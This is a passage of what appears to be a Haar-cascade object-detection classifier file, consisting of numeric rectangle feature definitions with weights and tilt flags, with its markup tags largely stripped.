19 10 1 1 3. + <_> + + <_> + 16 1 4 15 -1. + <_> + 17 2 2 15 2. + 1 + <_> + + <_> + 14 5 6 7 -1. + <_> + 16 7 2 7 3. + 1 + <_> + + <_> + 18 18 2 2 -1. + <_> + 18 18 1 1 2. + <_> + 19 19 1 1 2. + <_> + + <_> + 0 7 4 6 -1. + <_> + 0 9 4 2 3. + <_> + + <_> + 16 9 4 4 -1. + <_> + 17 9 2 4 2. + <_> + + <_> + 0 15 1 3 -1. + <_> + 0 16 1 1 3. + <_> + + <_> + 7 5 10 3 -1. + <_> + 6 6 10 1 3. + 1 + <_> + + <_> + 9 7 9 7 -1. + <_> + 12 7 3 7 3. + <_> + + <_> + 14 4 6 8 -1. + <_> + 14 6 6 4 2. + <_> + + <_> + 17 6 3 1 -1. + <_> + 18 7 1 1 3. + 1 + <_> + + <_> + 17 1 3 8 -1. + <_> + 17 3 3 4 2. + <_> + + <_> + 0 10 1 3 -1. + <_> + 0 11 1 1 3. + <_> + + <_> + 5 2 3 1 -1. + <_> + 6 2 1 1 3. + <_> + + <_> + 5 2 3 1 -1. + <_> + 6 2 1 1 3. + <_> + + <_> + 6 2 9 15 -1. + <_> + 9 7 3 5 9. + <_> + + <_> + 0 9 6 3 -1. + <_> + 2 9 2 3 3. + <_> + + <_> + 9 6 6 9 -1. + <_> + 11 9 2 3 9. + <_> + + <_> + 4 3 12 9 -1. + <_> + 4 6 12 3 3. + <_> + + <_> + 8 5 6 4 -1. + <_> + 8 6 6 2 2. + <_> + + <_> + 0 1 17 8 -1. + <_> + 0 3 17 4 2. + <_> + + <_> + 2 10 9 1 -1. + <_> + 5 10 3 1 3. + <_> + + <_> + 2 11 9 8 -1. + <_> + 2 15 9 4 2. + <_> + + <_> + 14 0 6 15 -1. + <_> + 16 0 2 15 3. + <_> + + <_> + 17 6 2 9 -1. + <_> + 17 9 2 3 3. + <_> + + <_> + 16 16 1 3 -1. + <_> + 15 17 1 1 3. + 1 + <_> + + <_> + 7 0 4 2 -1. + <_> + 8 0 2 2 2. + <_> + + <_> + 6 0 12 15 -1. + <_> + 10 0 4 15 3. + <_> + + <_> + 7 8 12 6 -1. + <_> + 11 8 4 6 3. + <_> + + <_> + 11 18 4 1 -1. + <_> + 12 18 2 1 2. + <_> + + <_> + 8 18 4 1 -1. + <_> + 9 18 2 1 2. + <_> + + <_> + 7 0 8 4 -1. + <_> + 7 2 8 2 2. + <_> + + <_> + 8 0 12 8 -1. + <_> + 8 2 12 4 2. + <_> + + <_> + 4 9 6 3 -1. + <_> + 6 9 2 3 3. + <_> + + <_> + 0 4 9 12 -1. + <_> + 3 8 3 4 9. + <_> + + <_> + 6 18 1 2 -1. + <_> + 6 19 1 1 2. + <_> + + <_> + 9 2 4 2 -1. + <_> + 10 2 2 2 2. + <_> + + <_> + 6 1 8 17 -1. + <_> + 8 1 4 17 2. + <_> + + <_> + 13 9 4 4 -1. + <_> + 14 10 2 4 2. + 1 + <_> + + <_> + 7 1 4 3 -1. + <_> + 8 1 2 3 2. + <_> + + <_> + 12 8 6 4 -1. + <_> + 14 8 2 4 3. + <_> + + <_> + 13 1 7 15 -1. + <_> + 13 6 7 5 3. + <_> + + <_> + 17 18 2 2 -1. + <_> + 17 18 1 1 2. + <_> + 18 19 1 1 2. + <_> + + <_> + 3 6 4 10 -1. + <_> + 4 6 2 10 2. + <_> + + <_> + 6 4 4 11 -1. + <_> + 7 4 2 11 2. + <_> + + <_> + 7 18 4 1 -1. + <_> + 8 18 2 1 2. + <_> + + <_> + 15 0 4 2 -1. + <_> + 15 0 4 1 2. + 1 + <_> + + <_> + 8 0 10 3 -1. + <_> + 8 1 10 1 3. + <_> + + <_> + 8 0 12 3 -1. + <_> + 12 1 4 1 9. + <_> + + <_> + 16 0 3 2 -1. + <_> + 17 0 1 2 3. + <_> + + <_> + 16 10 4 6 -1. + <_> + 17 11 2 6 2. + 1 + <_> + + <_> + 11 4 5 6 -1. + <_> + 9 6 5 2 3. + 1 + <_> + + <_> + 12 3 6 10 -1. + <_> + 14 5 2 10 3. + 1 + <_> + + <_> + 9 7 5 3 -1. + <_> + 8 8 5 1 3. + 1 + <_> + + <_> + 4 10 2 1 -1. + <_> + 5 10 1 1 2. + <_> + + <_> + 4 2 16 16 -1. + <_> + 4 6 16 8 2. + <_> + + <_> + 15 8 4 6 -1. + <_> + 16 8 2 6 2. + <_> + + <_> + 15 7 2 6 -1. + <_> + 15 7 1 6 2. + 1 + <_> + + <_> + 6 17 1 2 -1. + <_> + 6 18 1 1 2. + <_> + + <_> + 7 4 12 12 -1. + <_> + 11 8 4 4 9. + <_> + + <_> + 18 16 1 2 -1. + <_> + 18 17 1 1 2. + <_> + + <_> + 17 17 2 1 -1. + <_> + 18 17 1 1 2. + <_> + + <_> + 6 4 3 6 -1. + <_> + 7 5 1 6 3. + 1 + <_> + + <_> + 4 10 4 1 -1. + <_> + 5 10 2 1 2. + <_> + + <_> + 6 10 6 9 -1. + <_> + 8 10 2 9 3. + <_> + + <_> + 1 8 2 12 -1. + <_> + 1 14 2 6 2. + <_> + + <_> + 16 0 2 1 -1. + <_> + 17 0 1 1 2. + <_> + + <_> + 8 2 7 9 -1. + <_> + 8 5 7 3 3. + <_> + + <_> + 0 0 20 20 -1. + <_> + 0 0 10 10 2. + <_> + 10 10 10 10 2. + <_> + + <_> + 18 6 1 2 -1. + <_> + 18 7 1 1 2. + <_> + + <_> + 18 5 2 1 -1. + <_> + 18 5 1 1 2. + 1 + <_> + + <_> + 7 4 10 6 -1. + <_> + 7 6 10 2 3. + <_> + + <_> + 15 9 3 3 -1. + <_> + 16 10 1 3 3. + 1 + <_> + + <_> + 17 18 3 2 -1. + <_> + 17 19 3 1 2. + <_> + + <_> + 15 9 3 2 -1. + <_> + 16 10 1 2 3. + 1 + <_> + + <_> + 0 0 2 1 -1. + <_> + 1 0 1 1 2. + <_> + + <_> + 1 14 1 2 -1. + <_> + 1 15 1 1 2. + <_> + + <_> + 0 18 20 1 -1. + <_> + 10 18 10 1 2. + <_> + + <_> + 9 7 6 2 -1. + <_> + 9 7 6 1 2. + 1 + <_> + + <_> + 10 9 6 5 -1. + <_> + 12 9 2 5 3. + <_> + + <_> + 11 8 4 5 -1. + <_> + 12 8 2 5 2. + <_> + + <_> + 18 0 2 18 -1. + <_> + 18 9 2 9 2. + <_> + + <_> + 3 15 9 3 -1. + <_> + 6 16 3 1 9. + <_> + + <_> + 16 16 1 3 -1. + <_> + 15 17 1 1 3. + 1 + <_> + + <_> + 2 16 9 4 -1. + <_> + 2 17 9 2 2. + <_> + + <_> + 0 18 5 2 -1. + <_> + 0 19 5 1 2. + <_> + + <_> + 17 7 2 3 -1. + <_> + 16 8 2 1 3. + 1 + <_> + + <_> + 17 17 2 1 -1. + <_> + 18 17 1 1 2. + <_> + + <_> + 16 18 2 1 -1. + <_> + 17 18 1 1 2. + <_> + + <_> + 17 18 1 2 -1. + <_> + 17 19 1 1 2. + <_> + + <_> + 6 10 9 2 -1. + <_> + 9 10 3 2 3. + <_> + + <_> + 2 8 18 12 -1. + <_> + 2 14 18 6 2. + <_> + + <_> + 12 6 3 3 -1. + <_> + 11 7 3 1 3. + 1 + <_> + + <_> + 15 8 3 3 -1. + <_> + 16 9 1 3 3. + 1 + <_> + + <_> + 2 3 17 12 -1. + <_> + 2 6 17 6 2. + <_> + + <_> + 2 7 4 9 -1. + <_> + 3 7 2 9 2. + <_> + + <_> + 4 9 2 6 -1. + <_> + 4 9 1 3 2. + <_> + 5 12 1 3 2. + <_> + + <_> + 1 6 12 9 -1. + <_> + 5 9 4 3 9. + <_> + + <_> + 8 2 1 8 -1. + <_> + 8 4 1 4 2. + <_> + + <_> + 3 16 2 1 -1. + <_> + 4 16 1 1 2. + <_> + + <_> + 3 16 2 1 -1. + <_> + 4 16 1 1 2. + <_> + + <_> + 4 17 1 3 -1. + <_> + 4 18 1 1 3. + <_> + + <_> + 6 17 9 3 -1. + <_> + 9 17 3 3 3. + <_> + + <_> + 14 8 3 4 -1. + <_> + 15 9 1 4 3. + 1 + <_> + + <_> + 17 8 3 6 -1. + <_> + 18 9 1 6 3. + 1 + <_> + + <_> + 16 17 1 3 -1. + <_> + 16 18 1 1 3. + <_> + + <_> + 14 18 3 2 -1. + <_> + 14 19 3 1 2. + <_> + + <_> + 6 8 3 3 -1. + <_> + 7 8 1 3 3. + <_> + + <_> + 3 0 16 11 -1. + <_> + 7 0 8 11 2. + <_> + + <_> + 1 0 18 20 -1. + <_> + 1 5 18 10 2. + <_> + + <_> + 15 5 4 4 -1. + <_> + 15 5 2 2 2. + <_> + 17 7 2 2 2. + <_> + + <_> + 15 10 2 1 -1. + <_> + 16 10 1 1 2. + <_> + + <_> + 7 18 6 2 -1. + <_> + 9 18 2 2 3. + <_> + + <_> + 15 10 2 1 -1. + <_> + 16 10 1 1 2. + <_> + + <_> + 2 0 18 4 -1. + <_> + 2 1 18 2 2. + <_> + + <_> + 5 0 9 4 -1. + <_> + 5 1 9 2 2. + <_> + + <_> + 0 0 2 1 -1. + <_> + 1 0 1 1 2. + <_> + + <_> + 0 18 1 2 -1. + <_> + 0 19 1 1 2. + <_> + + <_> + 18 0 2 2 -1. + <_> + 18 1 2 1 2. + <_> + + <_> + 17 0 2 4 -1. + <_> + 17 0 1 4 2. + 1 + <_> + + <_> + 4 2 3 4 -1. + <_> + 3 3 3 2 2. + 1 + <_> + + <_> + 0 4 6 11 -1. + <_> + 2 4 2 11 3. + <_> + + <_> + 0 4 8 4 -1. + <_> + 0 4 4 2 2. + <_> + 4 6 4 2 2. + <_> + + <_> + 4 3 1 2 -1. + <_> + 4 4 1 1 2. + <_> + + <_> + 0 1 6 4 -1. + <_> + 0 1 3 2 2. + <_> + 3 3 3 2 2. + <_> + + <_> + 3 5 4 2 -1. + <_> + 3 5 2 1 2. + <_> + 5 6 2 1 2. + <_> + + <_> + 4 9 4 1 -1. + <_> + 5 9 2 1 2. + <_> + + <_> + 8 15 2 2 -1. + <_> + 8 15 1 1 2. + <_> + 9 16 1 1 2. + <_> + + <_> + 8 15 2 2 -1. + <_> + 8 15 1 1 2. + <_> + 9 16 1 1 2. + <_> + + <_> + 2 18 5 2 -1. + <_> + 2 19 5 1 2. + <_> + + <_> + 4 12 10 8 -1. + <_> + 4 14 10 4 2. + <_> + + <_> + 9 7 5 3 -1. + <_> + 8 8 5 1 3. + 1 + <_> + + <_> + 2 18 6 2 -1. + <_> + 2 18 3 1 2. + <_> + 5 19 3 1 2. + <_> + + <_> + 6 16 12 4 -1. + <_> + 6 17 12 2 2. + <_> + + <_> + 10 9 1 4 -1. + <_> + 10 11 1 2 2. + <_> + + <_> + 5 9 12 3 -1. + <_> + 9 10 4 1 9. + <_> + + <_> + 9 7 3 3 -1. + <_> + 10 8 1 1 9. + <_> + + <_> + 1 6 19 14 -1. + <_> + 1 13 19 7 2. + <_> + + <_> + 15 9 4 2 -1. + <_> + 16 9 2 2 2. + <_> + + <_> + 8 9 3 8 -1. + <_> + 8 13 3 4 2. + <_> + + <_> + 6 8 4 3 -1. + <_> + 7 8 2 3 2. + <_> + + <_> + 5 1 8 4 -1. + <_> + 5 2 8 2 2. + <_> + + <_> + 8 1 3 4 -1. + <_> + 8 2 3 2 2. + <_> + + <_> + 2 10 18 10 -1. + <_> + 2 15 18 5 2. + <_> + + <_> + 8 8 5 3 -1. + <_> + 7 9 5 1 3. + 1 + <_> + + <_> + 7 9 7 2 -1. + <_> + 7 9 7 1 2. + 1 + <_> + + <_> + 5 17 1 3 -1. + <_> + 5 18 1 1 3. + <_> + + <_> + 7 18 13 2 -1. + <_> + 7 19 13 1 2. + <_> + + <_> + 16 16 2 2 -1. + <_> + 16 16 2 1 2. + 1 + <_> + + <_> + 3 14 1 2 -1. + <_> + 3 15 1 1 2. + <_> + + <_> + 12 9 3 4 -1. + <_> + 13 9 1 4 3. + <_> + + <_> + 12 9 3 2 -1. + <_> + 13 9 1 2 3. + <_> + + <_> + 7 9 2 3 -1. + <_> + 6 10 2 1 3. + 1 + <_> + + <_> + 10 3 9 12 -1. + <_> + 10 7 9 4 3. + <_> + + <_> + 15 5 2 1 -1. + <_> + 16 5 1 1 2. + <_> + + <_> + 1 0 15 9 -1. + <_> + 1 3 15 3 3. + <_> + + <_> + 3 15 2 3 -1. + <_> + 3 15 1 3 2. + 1 + <_> + + <_> + 2 16 1 2 -1. + <_> + 2 17 1 1 2. + <_> + + <_> + 12 1 8 4 -1. + <_> + 11 2 8 2 2. + 1 + <_> + + <_> + 6 5 3 6 -1. + <_> + 7 6 1 6 3. + 1 + <_> + + <_> + 5 7 2 2 -1. + <_> + 5 7 1 1 2. + <_> + 6 8 1 1 2. + <_> + + <_> + 17 7 3 1 -1. + <_> + 18 7 1 1 3. + <_> + + <_> + 12 0 6 5 -1. + <_> + 14 0 2 5 3. + <_> + + <_> + 17 0 2 1 -1. + <_> + 18 0 1 1 2. + <_> + + <_> + 10 1 6 5 -1. + <_> + 12 1 2 5 3. + <_> + + <_> + 17 14 3 2 -1. + <_> + 17 14 3 1 2. + 1 + <_> + + <_> + 5 10 4 1 -1. + <_> + 6 10 2 1 2. + <_> + + <_> + 3 8 3 6 -1. + <_> + 4 8 1 6 3. + <_> + + <_> + 8 16 5 4 -1. + <_> + 8 17 5 2 2. + <_> + + <_> + 14 15 2 2 -1. + <_> + 14 15 1 1 2. + <_> + 15 16 1 1 2. + <_> + + <_> + 4 18 1 2 -1. + <_> + 4 19 1 1 2. + <_> + + <_> + 8 15 2 3 -1. + <_> + 8 15 1 3 2. + 1 + <_> + + <_> + 19 0 1 20 -1. + <_> + 19 10 1 10 2. + <_> + + <_> + 7 9 8 1 -1. + <_> + 9 9 4 1 2. + <_> + + <_> + 14 10 3 1 -1. + <_> + 15 10 1 1 3. + <_> + + <_> + 15 11 2 1 -1. + <_> + 16 11 1 1 2. + <_> + + <_> + 18 11 2 8 -1. + <_> + 18 11 1 4 2. + <_> + 19 15 1 4 2. + <_> + + <_> + 6 1 8 4 -1. + <_> + 8 1 4 4 2. + <_> + + <_> + 6 0 5 4 -1. + <_> + 5 1 5 2 2. + 1 + <_> + + <_> + 6 5 12 15 -1. + <_> + 10 10 4 5 9. + <_> + + <_> + 7 2 8 9 -1. + <_> + 7 5 8 3 3. + <_> + + <_> + 2 1 10 3 -1. + <_> + 2 2 10 1 3. + <_> + + <_> + 2 5 15 12 -1. + <_> + 7 9 5 4 9. + <_> + + <_> + 7 8 3 6 -1. + <_> + 8 8 1 6 3. + <_> + + <_> + 7 6 3 7 -1. + <_> + 8 6 1 7 3. + <_> + + <_> + 4 16 9 4 -1. + <_> + 7 16 3 4 3. + <_> + + <_> + 15 18 5 2 -1. + <_> + 15 19 5 1 2. + <_> + + <_> + 15 16 1 4 -1. + <_> + 15 17 1 2 2. + <_> + + <_> + 15 16 2 2 -1. + <_> + 15 16 1 1 2. + <_> + 16 17 1 1 2. + <_> + + <_> + 6 15 2 2 -1. + <_> + 6 15 1 1 2. + <_> + 7 16 1 1 2. + <_> + + <_> + 6 15 2 2 -1. + <_> + 6 15 1 1 2. + <_> + 7 16 1 1 2. + <_> + + <_> + 8 16 8 3 -1. + <_> + 10 16 4 3 2. + <_> + + <_> + 5 10 12 1 -1. + <_> + 9 10 4 1 3. + <_> + + <_> + 6 2 9 15 -1. + <_> + 9 7 3 5 9. + <_> + + <_> + 17 6 1 14 -1. + <_> + 17 13 1 7 2. + <_> + + <_> + 9 7 3 3 -1. + <_> + 8 8 3 1 3. + 1 + <_> + + <_> + 16 5 4 3 -1. + <_> + 15 6 4 1 3. + 1 + <_> + + <_> + 13 7 4 9 -1. + <_> + 13 7 2 9 2. + 1 + <_> + + <_> + 3 10 2 2 -1. + <_> + 3 10 2 1 2. + 1 + <_> + + <_> + 0 4 3 15 -1. + <_> + 0 9 3 5 3. + <_> + + <_> + 7 8 9 6 -1. + <_> + 10 8 3 6 3. + <_> + + <_> + 5 17 9 2 -1. + <_> + 8 17 3 2 3. + <_> + + <_> + 7 2 6 18 -1. + <_> + 7 11 6 9 2. + <_> + + <_> + 15 9 2 10 -1. + <_> + 15 9 1 5 2. + <_> + 16 14 1 5 2. + <_> + + <_> + 12 7 6 4 -1. + <_> + 14 9 2 4 3. + 1 + <_> + + <_> + 13 8 3 2 -1. + <_> + 14 9 1 2 3. + 1 + <_> + + <_> + 17 4 3 2 -1. + <_> + 18 5 1 2 3. + 1 + <_> + + <_> + 10 5 8 2 -1. + <_> + 10 6 8 1 2. + <_> + + <_> + 18 4 2 2 -1. + <_> + 18 4 1 2 2. + 1 + <_> + + <_> + 7 4 7 4 -1. + <_> + 7 5 7 2 2. + <_> + + <_> + 1 15 6 4 -1. + <_> + 1 17 6 2 2. + <_> + + <_> + 0 13 2 6 -1. + <_> + 0 15 2 2 3. + <_> + + <_> + 10 13 4 2 -1. + <_> + 10 13 4 1 2. + 1 + <_> + + <_> + 16 14 2 4 -1. + <_> + 15 15 2 2 2. + 1 + <_> + + <_> + 7 4 3 4 -1. + <_> + 8 5 1 4 3. + 1 + <_> + + <_> + 5 9 4 3 -1. + <_> + 6 9 2 3 2. + <_> + + <_> + 4 1 2 4 -1. + <_> + 3 2 2 2 2. + 1 + <_> + + <_> + 2 1 2 3 -1. + <_> + 3 1 1 3 2. + <_> + + <_> + 1 2 8 4 -1. + <_> + 1 2 4 2 2. + <_> + 5 4 4 2 2. + <_> + + <_> + 6 0 4 4 -1. + <_> + 7 0 2 4 2. + <_> + + <_> + 6 4 3 5 -1. + <_> + 7 5 1 5 3. + 1 + <_> + + <_> + 3 5 1 2 -1. + <_> + 3 6 1 1 2. + <_> + + <_> + 6 8 3 3 -1. + <_> + 7 8 1 3 3. + <_> + + <_> + 5 16 3 1 -1. + <_> + 6 17 1 1 3. + 1 + <_> + + <_> + 6 9 4 4 -1. + <_> + 7 9 2 4 2. + <_> + + <_> + 9 11 9 2 -1. + <_> + 9 12 9 1 2. + <_> + + <_> + 5 2 7 2 -1. + <_> + 5 3 7 1 2. + <_> + + <_> + 12 18 8 2 -1. + <_> + 12 19 8 1 2. + <_> + + <_> + 19 0 1 4 -1. + <_> + 19 2 1 2 2. + <_> + + <_> + 14 1 6 2 -1. + <_> + 17 1 3 2 2. + <_> + + <_> + 14 2 6 4 -1. + <_> + 14 2 3 2 2. + <_> + 17 4 3 2 2. + <_> + + <_> + 7 7 3 6 -1. + <_> + 8 7 1 6 3. + <_> + + <_> + 11 6 5 4 -1. + <_> + 11 7 5 2 2. + <_> + + <_> + 17 7 3 3 -1. + <_> + 18 7 1 3 3. + <_> + + <_> + 15 16 1 2 -1. + <_> + 15 16 1 1 2. + 1 + <_> + + <_> + 7 0 4 4 -1. + <_> + 7 1 4 2 2. + <_> + + <_> + 6 1 8 8 -1. + <_> + 6 3 8 4 2. + <_> + + <_> + 0 0 1 2 -1. + <_> + 0 1 1 1 2. + <_> + + <_> + 2 0 4 2 -1. + <_> + 2 0 4 1 2. + 1 + <_> + + <_> + 10 0 6 5 -1. + <_> + 12 0 2 5 3. + <_> + + <_> + 7 7 4 7 -1. + <_> + 8 7 2 7 2. + <_> + + <_> + 9 3 2 8 -1. + <_> + 10 3 1 8 2. + <_> + + <_> + 6 1 4 4 -1. + <_> + 7 2 2 4 2. + 1 + <_> + + <_> + 0 18 1 2 -1. + <_> + 0 19 1 1 2. + <_> + + <_> + 17 2 3 1 -1. + <_> + 18 3 1 1 3. + 1 + <_> + + <_> + 18 18 2 2 -1. + <_> + 18 18 1 1 2. + <_> + 19 19 1 1 2. + <_> + + <_> + 17 13 3 4 -1. + <_> + 16 14 3 2 2. + 1 + <_> + + <_> + 3 10 4 3 -1. + <_> + 4 10 2 3 2. + <_> + + <_> + 0 8 4 5 -1. + <_> + 1 8 2 5 2. + <_> + + <_> + 4 8 14 12 -1. + <_> + 4 14 14 6 2. + <_> + + <_> + 16 16 2 2 -1. + <_> + 17 16 1 2 2. + <_> + + <_> + 16 18 4 2 -1. + <_> + 17 18 2 2 2. + <_> + + <_> + 17 1 3 4 -1. + <_> + 18 2 1 4 3. + 1 + <_> + + <_> + 3 0 4 7 -1. + <_> + 4 0 2 7 2. + <_> + + <_> + 6 1 6 3 -1. + <_> + 8 1 2 3 3. + <_> + + <_> + 12 8 4 4 -1. + <_> + 13 8 2 4 2. + <_> + + <_> + 6 1 5 2 -1. + <_> + 6 2 5 1 2. + <_> + + <_> + 1 7 5 12 -1. + <_> + 1 13 5 6 2. + <_> + + <_> + 8 17 6 3 -1. + <_> + 10 18 2 1 9. + <_> + + <_> + 12 4 3 12 -1. + <_> + 13 4 1 12 3. + <_> + + <_> + 3 11 8 1 -1. + <_> + 5 13 4 1 2. + 1 + <_> + + <_> + 7 2 9 6 -1. + <_> + 5 4 9 2 3. + 1 + <_> + + <_> + 14 1 1 2 -1. + <_> + 14 1 1 1 2. + 1 + <_> + + <_> + 0 1 16 1 -1. + <_> + 8 1 8 1 2. + <_> + + <_> + 8 8 3 2 -1. + <_> + 9 8 1 2 3. + <_> + + <_> + 0 14 1 2 -1. + <_> + 0 15 1 1 2. + <_> + + <_> + 11 5 3 8 -1. + <_> + 11 7 3 4 2. + <_> + + <_> + 7 9 3 3 -1. + <_> + 6 10 3 1 3. + 1 + <_> + + <_> + 0 5 6 11 -1. + <_> + 2 5 2 11 3. + <_> + + <_> + 1 0 4 14 -1. + <_> + 2 0 2 14 2. + <_> + + <_> + 16 18 2 2 -1. + <_> + 16 18 1 1 2. + <_> + 17 19 1 1 2. + <_> + + <_> + 16 0 3 3 -1. + <_> + 17 1 1 3 3. + 1 + <_> + + <_> + 19 5 1 4 -1. + <_> + 19 7 1 2 2. + <_> + + <_> + 3 10 6 1 -1. + <_> + 5 10 2 1 3. + <_> + + <_> + 6 10 3 1 -1. + <_> + 7 10 1 1 3. + <_> + + <_> + 8 7 2 10 -1. + <_> + 8 12 2 5 2. + <_> + + <_> + 12 9 6 2 -1. + <_> + 14 9 2 2 3. + <_> + + <_> + 18 3 1 12 -1. + <_> + 14 7 1 4 3. + 1 + <_> + + <_> + 13 3 2 8 -1. + <_> + 11 5 2 4 2. + 1 + <_> + + <_> + 3 2 2 3 -1. + <_> + 2 3 2 1 3. + 1 + <_> + + <_> + 0 3 6 4 -1. + <_> + 0 3 3 2 2. + <_> + 3 5 3 2 2. + <_> + + <_> + 3 2 2 1 -1. + <_> + 4 2 1 1 2. + <_> + + <_> + 12 8 3 5 -1. + <_> + 13 8 1 5 3. + <_> + + <_> + 15 15 2 3 -1. + <_> + 14 16 2 1 3. + 1 + <_> + + <_> + 0 18 3 2 -1. + <_> + 0 19 3 1 2. + <_> + + <_> + 18 17 1 3 -1. + <_> + 18 18 1 1 3. + <_> + + <_> + 5 6 2 2 -1. + <_> + 5 7 2 1 2. + <_> + + <_> + 2 7 16 2 -1. + <_> + 6 7 8 2 2. + <_> + + <_> + 16 8 4 7 -1. + <_> + 17 8 2 7 2. + <_> + + <_> + 14 9 4 5 -1. + <_> + 15 9 2 5 2. + <_> + + <_> + 0 6 3 14 -1. + <_> + 0 13 3 7 2. + <_> + + <_> + 17 3 3 1 -1. + <_> + 18 4 1 1 3. + 1 + <_> + + <_> + 18 5 2 1 -1. + <_> + 18 5 1 1 2. + 1 + <_> + + <_> + 18 0 2 18 -1. + <_> + 18 6 2 6 3. + <_> + + <_> + 4 0 13 12 -1. + <_> + 4 3 13 6 2. + <_> + + <_> + 12 9 4 2 -1. + <_> + 13 9 2 2 2. + <_> + + <_> + 4 2 3 3 -1. + <_> + 3 3 3 1 3. + 1 + <_> + + <_> + 8 10 6 3 -1. + <_> + 10 10 2 3 3. + <_> + + <_> + 11 5 4 6 -1. + <_> + 11 5 2 6 2. + 1 + <_> + + <_> + 10 2 4 2 -1. + <_> + 11 2 2 2 2. + <_> + + <_> + 4 16 2 4 -1. + <_> + 4 18 2 2 2. + <_> + + <_> + 5 18 8 2 -1. + <_> + 9 18 4 2 2. + <_> + + <_> + 19 9 1 8 -1. + <_> + 19 9 1 4 2. + 1 + <_> + + <_> + 0 15 5 3 -1. + <_> + 0 16 5 1 3. + <_> + + <_> + 19 4 1 15 -1. + <_> + 19 9 1 5 3. + <_> + + <_> + 7 19 4 1 -1. + <_> + 8 19 2 1 2. + <_> + + <_> + 6 2 12 4 -1. + <_> + 6 3 12 2 2. + <_> + + <_> + 4 1 11 6 -1. + <_> + 4 3 11 2 3. + <_> + + <_> + 0 14 2 4 -1. + <_> + 0 15 2 2 2. + <_> + + <_> + 1 9 4 5 -1. + <_> + 2 9 2 5 2. + <_> + + <_> + 4 5 2 4 -1. + <_> + 3 6 2 2 2. + 1 + <_> + + <_> + 1 17 6 3 -1. + <_> + 3 18 2 1 9. + <_> + + <_> + 11 0 6 6 -1. + <_> + 13 0 2 6 3. + <_> + + <_> + 17 18 3 2 -1. + <_> + 17 19 3 1 2. + <_> + + <_> + 18 17 1 3 -1. + <_> + 18 18 1 1 3. + <_> + + <_> + 3 7 15 3 -1. + <_> + 8 8 5 1 9. + <_> + + <_> + 10 8 3 3 -1. + <_> + 11 9 1 1 9. + <_> + + <_> + 0 10 6 8 -1. + <_> + 0 12 6 4 2. + <_> + + <_> + 9 8 3 3 -1. + <_> + 10 8 1 3 3. + <_> + + <_> + 10 7 3 8 -1. + <_> + 11 7 1 8 3. + <_> + + <_> + 12 4 4 1 -1. + <_> + 13 4 2 1 2. + <_> + + <_> + 2 1 11 4 -1. + <_> + 2 2 11 2 2. + <_> + + <_> + 0 3 3 4 -1. + <_> + 0 4 3 2 2. + <_> + + <_> + 17 0 3 2 -1. + <_> + 17 1 3 1 2. + <_> + + <_> + 19 14 1 4 -1. + <_> + 19 15 1 2 2. + <_> + + <_> + 1 16 2 4 -1. + <_> + 2 16 1 4 2. + <_> + + <_> + 3 13 4 3 -1. + <_> + 2 14 4 1 3. + 1 + <_> + + <_> + 0 14 4 3 -1. + <_> + 0 15 4 1 3. + <_> + + <_> + 9 3 5 4 -1. + <_> + 9 4 5 2 2. + <_> + + <_> + 12 0 8 4 -1. + <_> + 12 1 8 2 2. + <_> + + <_> + 18 0 2 5 -1. + <_> + 18 0 1 5 2. + 1 + <_> + + <_> + 14 3 1 4 -1. + <_> + 14 5 1 2 2. + <_> + + <_> + 5 15 3 2 -1. + <_> + 6 16 1 2 3. + 1 + <_> + + <_> + 9 7 4 8 -1. + <_> + 10 7 2 8 2. + <_> + + <_> + 14 5 1 12 -1. + <_> + 10 9 1 4 3. + 1 + <_> + + <_> + 5 0 2 3 -1. + <_> + 4 1 2 1 3. + 1 + <_> + + <_> + 18 1 2 2 -1. + <_> + 18 1 2 1 2. + 1 + <_> + + <_> + 6 8 9 2 -1. + <_> + 6 9 9 1 2. + <_> + + <_> + 7 8 13 4 -1. + <_> + 7 9 13 2 2. + <_> + + <_> + 6 7 3 4 -1. + <_> + 7 8 1 4 3. + 1 + <_> + + <_> + 9 18 2 2 -1. + <_> + 9 18 1 1 2. + <_> + 10 19 1 1 2. + <_> + + <_> + 6 18 6 2 -1. + <_> + 6 18 3 1 2. + <_> + 9 19 3 1 2. + <_> + + <_> + 5 6 3 4 -1. + <_> + 6 7 1 4 3. + 1 + <_> + + <_> + 5 8 2 12 -1. + <_> + 5 8 1 6 2. + <_> + 6 14 1 6 2. + <_> + + <_> + 19 0 1 8 -1. + <_> + 19 0 1 4 2. + 1 + <_> + + <_> + 1 11 4 6 -1. + <_> + 1 13 4 2 3. + <_> + + <_> + 6 12 4 4 -1. + <_> + 6 12 2 4 2. + 1 + <_> + + <_> + 18 13 1 6 -1. + <_> + 18 16 1 3 2. + <_> + + <_> + 16 15 2 2 -1. + <_> + 16 15 1 1 2. + <_> + 17 16 1 1 2. + <_> + + <_> + 16 15 2 2 -1. + <_> + 16 15 1 1 2. + <_> + 17 16 1 1 2. + <_> + + <_> + 14 15 4 4 -1. + <_> + 14 15 2 2 2. + <_> + 16 17 2 2 2. + <_> + + <_> + 4 3 1 2 -1. + <_> + 4 4 1 1 2. + <_> + + <_> + 6 3 3 4 -1. + <_> + 5 4 3 2 2. + 1 + <_> + + <_> + 2 1 3 1 -1. + <_> + 3 2 1 1 3. + 1 + <_> + + <_> + 6 8 3 5 -1. + <_> + 7 8 1 5 3. + <_> + + <_> + 8 9 1 8 -1. + <_> + 8 11 1 4 2. + <_> + + <_> + 14 10 4 4 -1. + <_> + 14 10 2 4 2. + 1 + <_> + + <_> + 5 16 9 3 -1. + <_> + 8 16 3 3 3. + <_> + + <_> + 14 11 6 6 -1. + <_> + 14 13 6 2 3. + <_> + + <_> + 9 16 5 2 -1. + <_> + 9 17 5 1 2. + <_> + + <_> + 5 10 12 1 -1. + <_> + 8 10 6 1 2. + <_> + + <_> + 1 5 18 5 -1. + <_> + 7 5 6 5 3. + <_> + + <_> + 15 9 2 3 -1. + <_> + 16 9 1 3 2. + <_> + + <_> + 0 14 20 6 -1. + <_> + 0 17 20 3 2. + <_> + + <_> + 4 9 2 6 -1. + <_> + 4 9 1 3 2. + <_> + 5 12 1 3 2. + <_> + + <_> + 5 1 12 15 -1. + <_> + 9 6 4 5 9. + <_> + + <_> + 0 0 20 1 -1. + <_> + 5 0 10 1 2. + <_> + + <_> + 0 0 12 1 -1. + <_> + 6 0 6 1 2. + <_> + + <_> + 0 0 10 6 -1. + <_> + 5 0 5 6 2. + <_> + + <_> + 3 0 4 3 -1. + <_> + 2 1 4 1 3. + 1 + <_> + + <_> + 2 0 15 6 -1. + <_> + 7 2 5 2 9. + <_> + + <_> + 0 2 6 4 -1. + <_> + 3 2 3 4 2. + <_> + + <_> + 14 10 2 1 -1. + <_> + 15 10 1 1 2. + <_> + + <_> + 2 7 6 9 -1. + <_> + 4 7 2 